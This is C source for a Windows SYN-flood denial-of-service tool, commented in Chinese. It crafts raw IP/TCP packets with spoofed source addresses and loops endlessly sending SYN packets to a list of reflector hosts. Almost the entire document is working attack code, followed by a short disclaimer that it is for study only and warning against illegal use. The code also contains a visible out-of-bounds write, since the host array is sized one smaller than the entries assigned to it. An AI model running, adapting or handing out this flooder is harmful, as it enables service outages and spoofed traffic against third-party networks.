#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define NUM 7//反射服务器的个数

#define FAKE_IP "192.168.0.6" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部

{

    unsigned char h_verlen; //4位首部长度,4位IP版本号

    unsigned char tos; //8位服务类型TOS

    unsigned short total_len; //16位总长度(字节)

    unsigned short ident; //16位标识

    unsigned short frag_and_flags; //3位标志位

    unsigned char ttl; //8位生存时间 TTL

    unsigned char proto; //8位协议 (TCP, UDP 或其他)

    unsigned short checksum; //16位IP首部校验和

    unsigned int sourceIP; //32位源IP地址

    unsigned int destIP; //32位目的IP地址

}IP_HEADER;

struct //定义TCP伪首部

{

    unsigned long saddr; //源地址

    unsigned long daddr; //目的地址

    char mbz;

    char ptcl; //协议类型

    unsigned short tcpl; //TCP长度

}psd_header;

typedef struct _tcphdr //定义TCP首部

{

    USHORT th_sport; //16位源端口

    USHORT th_dport; //16位目的端口

    unsigned int th_seq; //32位序列号

    unsigned int th_ack; //32位确认号

    unsigned char th_lenres; //4位首部长度/6位保留字

    unsigned char th_flag; //6位标志位

    USHORT th_win; //16位窗口大小

    USHORT th_sum; //16位校验和

    USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

    unsigned long cksum=0;

    while(size >1) {

    cksum+=*buffer++;

    size -=sizeof(USHORT);
    }

    if(size ) {

    cksum += *(UCHAR*)buffer;

    }

    cksum = (cksum >> 16) + (cksum & 0xffff);

    cksum += (cksum >>16);

    return (USHORT)(~cksum);

}

// SynFlood主函数

int main()

{

    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

    int TimeOut=2000,SendSEQ=0,i=0;

    char SendBuf[128]={0};

    char RecvBuf[65535]={0};
   
    char * Syn_dest_ip[NUM-1];

    WSADATA wsaData;

    SOCKET SockRaw=(SOCKET)NULL;

    struct sockaddr_in DestAddr;

    IP_HEADER ip_header;

    TCP_HEADER tcp_header;
   
//初始反射IP列表
   
    Syn_dest_ip[0]="192.168.0.99";
    Syn_dest_ip[1]="192.168.0.1";
    Syn_dest_ip[2]="192.168.0.2";
    Syn_dest_ip[3]="192.168.0.4";
    Syn_dest_ip[4]="192.168.0.5";
    Syn_dest_ip[5]="192.168.0.3";
    Syn_dest_ip[6]="192.168.0.7";
   
//初始化SOCK_RAW

    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

    fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

    ExitProcess(STATUS_FAILED);

    }

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

    if (SockRaw==INVALID_SOCKET){

    fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

    ExitProcess(STATUS_FAILED);

    }

    flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

    if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");

    __try{

//设置发送超时

    ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

    if(ErrorCode==SOCKET_ERROR){

        fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

        __leave;
    }

    while(1){

        for(i=0;i<NUM;i++){ //循环使用代理

            memset(&DestAddr,0,sizeof(DestAddr));

            DestAddr.sin_family=AF_INET;
   
            DestAddr.sin_addr.s_addr=inet_addr(Syn_dest_ip[i]);

            FakeIpNet=inet_addr(FAKE_IP);

            FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

            ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号,低四位首部长度

            ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)

            ip_header.ident=1; //16位标识

            ip_header.frag_and_flags=0; //3位标志位

            ip_header.ttl=128; //8位生存时间TTL

            ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)

            ip_header.checksum=0; //16位IP首部校验和

            ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

            ip_header.destIP=inet_addr(Syn_dest_ip[i]); //32位目的IP地址

//填充TCP首部

            tcp_header.th_sport=htons(7000); //源端口号

            tcp_header.th_dport=htons(8080); //目的端口号

            tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

            tcp_header.th_ack=0; //ACK序列号置为0

            tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位

            tcp_header.th_flag=2; //SYN 标志

            tcp_header.th_win=htons(16384); //窗口大小

            tcp_header.th_urp=0; //偏移

            tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)

            psd_header.saddr=ip_header.sourceIP; //源地址

            psd_header.daddr=ip_header.destIP; //目的地址

            psd_header.mbz=0;

            psd_header.ptcl=IPPROTO_TCP; //协议类型

            psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度

//每发送10,24个报文输出一个标示符

            printf(".");

            for(counter=0;counter<1024;counter++){

                if(SendSEQ++==65536) SendSEQ=1; //序列号循环

//更改IP首部

                ip_header.checksum=0; //16位IP首部校验和

                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

//更改TCP首部

                tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

                tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header

                psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header

                memcpy(SendBuf,&psd_header,sizeof(psd_header));

                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

                memcpy(SendBuf,&ip_header,sizeof(ip_header));

                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

                datasize=sizeof(ip_header)+sizeof(tcp_header);

                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

                memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

                ErrorCode=sendto(SockRaw,

                                SendBuf,

                                datasize,

                                0,

                                (struct sockaddr*) &DestAddr,

                                sizeof(DestAddr));

                if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

                }//End of for

            }//End of for

        }//End of while

    }//End of try

    __finally {

        if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

        WSACleanup();

    }

    return 0;

}

程序只用于研究学习,请勿用于非法用途,法网恢恢,出来混迟早要还的,自重!!!